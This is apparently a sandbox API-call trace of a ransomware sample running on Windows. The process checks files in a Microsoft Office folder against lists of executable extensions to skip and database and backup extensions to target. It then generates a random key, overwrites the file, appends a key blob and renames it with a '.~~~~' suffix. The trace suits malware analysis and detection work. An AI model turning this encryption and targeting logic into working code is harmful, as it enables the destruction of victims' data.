	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0136.232] lstrlenW (lpString=".dll") returned 4
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0136.232] lstrlenW (lpString=".bat") returned 4
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0136.232] lstrlenW (lpString=".cpl") returned 4
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0136.232] lstrlenW (lpString=".sys") returned 4
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0136.232] lstrlenW (lpString=".msc") returned 4
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0136.232] lstrlenW (lpString=".com") returned 4
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".com") returned 0x0
	[0136.232] lstrlenW (lpString=".lnk") returned 4
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0136.232] lstrlenW (lpString=".msp") returned 4
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0136.232] lstrlenW (lpString=".pif") returned 4
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0136.232] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0136.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.234] lstrlenW (lpString=".sqb") returned 4
	[0136.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0136.234] lstrlenW (lpString=".ost") returned 4
	[0136.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0136.234] lstrlenW (lpString=".txt") returned 4
	[0136.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0136.234] lstrlenW (lpString=".mdt") returned 4
	[0136.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0136.234] lstrlenW (lpString=".BDB") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0136.235] lstrlenW (lpString=".eql") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0136.235] lstrlenW (lpString=".DBF") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0136.235] lstrlenW (lpString=".EQL") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0136.235] lstrlenW (lpString=".FDB") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0136.235] lstrlenW (lpString=".EDB") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0136.235] lstrlenW (lpString=".DACPAC") returned 7
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0136.235] lstrlenW (lpString=".VHD") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0136.235] lstrlenW (lpString=".DBV") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0136.235] lstrlenW (lpString=".dacpac") returned 7
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0136.235] lstrlenW (lpString=".sdf") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0136.235] lstrlenW (lpString=".accdb") returned 6
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0136.235] lstrlenW (lpString=".DBX") returned 4
	[0136.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0136.235] lstrlenW (lpString=".MDT") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0136.236] lstrlenW (lpString=".SQB") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0136.236] lstrlenW (lpString=".vhd") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0136.236] lstrlenW (lpString=".bac") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0136.236] lstrlenW (lpString=".mdf") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0136.236] lstrlenW (lpString=".BAK") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0136.236] lstrlenW (lpString=".BAC") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0136.236] lstrlenW (lpString=".dbs") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0136.236] lstrlenW (lpString=".vhdx") returned 5
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0136.236] lstrlenW (lpString=".NDF") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0136.236] lstrlenW (lpString=".dat") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0136.236] lstrlenW (lpString=".DBS") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0136.236] lstrlenW (lpString=".CKP") returned 4
	[0136.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0136.236] lstrlenW (lpString=".edb") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0136.237] lstrlenW (lpString=".PST") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0136.237] lstrlenW (lpString=".dbf") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0136.237] lstrlenW (lpString=".SQL") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0136.237] lstrlenW (lpString=".pst") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0136.237] lstrlenW (lpString=".dbv") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0136.237] lstrlenW (lpString=".SDF") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0136.237] lstrlenW (lpString=".dtxs") returned 5
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0136.237] lstrlenW (lpString=".db3") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0136.237] lstrlenW (lpString=".OST") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0136.237] lstrlenW (lpString=".dbx") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0136.237] lstrlenW (lpString=".DB3") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0136.237] lstrlenW (lpString=".DAT") returned 4
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0136.237] lstrlenW (lpString=".VHDX") returned 5
	[0136.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0136.238] lstrlenW (lpString=".ndf") returned 4
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0136.238] lstrlenW (lpString=".DB") returned 3
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0136.238] lstrlenW (lpString=".sql") returned 4
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0136.238] lstrlenW (lpString=".MYD") returned 4
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0136.238] lstrlenW (lpString=".DBT") returned 4
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0136.238] lstrlenW (lpString=".ACCDB") returned 6
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0136.238] lstrlenW (lpString=".fdb") returned 4
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0136.238] lstrlenW (lpString=".bak") returned 4
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0136.238] lstrlenW (lpString=".myd") returned 4
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0136.238] lstrlenW (lpString=".DTXS") returned 5
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0136.238] lstrlenW (lpString=".ckp") returned 4
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0136.238] lstrlenW (lpString=".dbt") returned 4
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0136.238] lstrlenW (lpString=".db") returned 3
	[0136.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".db") returned 0x0
	[0136.239] lstrlenW (lpString=".TXT") returned 4
	[0136.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0136.239] lstrlenW (lpString=".MDF") returned 4
	[0136.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0136.239] lstrlenW (lpString=".bdb") returned 4
	[0136.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0136.239] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.239] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x29085c0) returned 1
	[0136.240] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.240] CryptReleaseContext (hProv=0x29085c0, dwFlags=0x0) returned 1
	[0136.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0136.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0136.240] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25623052983) returned 1
	[0136.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbaa52850, dwHighDateTime=0x1d60e1e)) 
	[0136.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0136.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0136.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0136.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825320
	[0136.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825320 | out: hHeap=0x300000) returned 1
	[0136.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdd98
	[0136.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c58d0
	[0136.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdd98 | out: hHeap=0x300000) returned 1
	[0136.241] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.241] GetLastError () returned 0x0
	[0136.242] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.242] GetLastError () returned 0x0
	[0136.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.243] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0136.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0136.244] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.244] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.244] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.244] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.244] CloseHandle (hObject=0x114) returned 1
	[0136.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdd98
	[0136.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.~~~~")) returned 1
	[0136.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdd98 | out: hHeap=0x300000) returned 1
	[0136.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.247] GetLastError () returned 0x0
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0136.248] lstrlenW (lpString=".cmd") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0136.248] lstrlenW (lpString=".dll") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0136.248] lstrlenW (lpString=".bat") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0136.248] lstrlenW (lpString=".cpl") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0136.248] lstrlenW (lpString=".sys") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0136.248] lstrlenW (lpString=".msc") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0136.248] lstrlenW (lpString=".com") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".com") returned 0x0
	[0136.248] lstrlenW (lpString=".lnk") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0136.248] lstrlenW (lpString=".msp") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0136.248] lstrlenW (lpString=".pif") returned 4
	[0136.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0136.248] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0136.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.251] lstrlenW (lpString=".sqb") returned 4
	[0136.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0136.251] lstrlenW (lpString=".ost") returned 4
	[0136.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0136.251] lstrlenW (lpString=".txt") returned 4
	[0136.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0136.251] lstrlenW (lpString=".mdt") returned 4
	[0136.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0136.251] lstrlenW (lpString=".BDB") returned 4
	[0136.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0136.251] lstrlenW (lpString=".eql") returned 4
	[0136.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0136.251] lstrlenW (lpString=".DBF") returned 4
	[0136.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0136.251] lstrlenW (lpString=".EQL") returned 4
	[0136.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0136.251] lstrlenW (lpString=".FDB") returned 4
	[0136.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0136.251] lstrlenW (lpString=".EDB") returned 4
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".EDB") returned 0x0
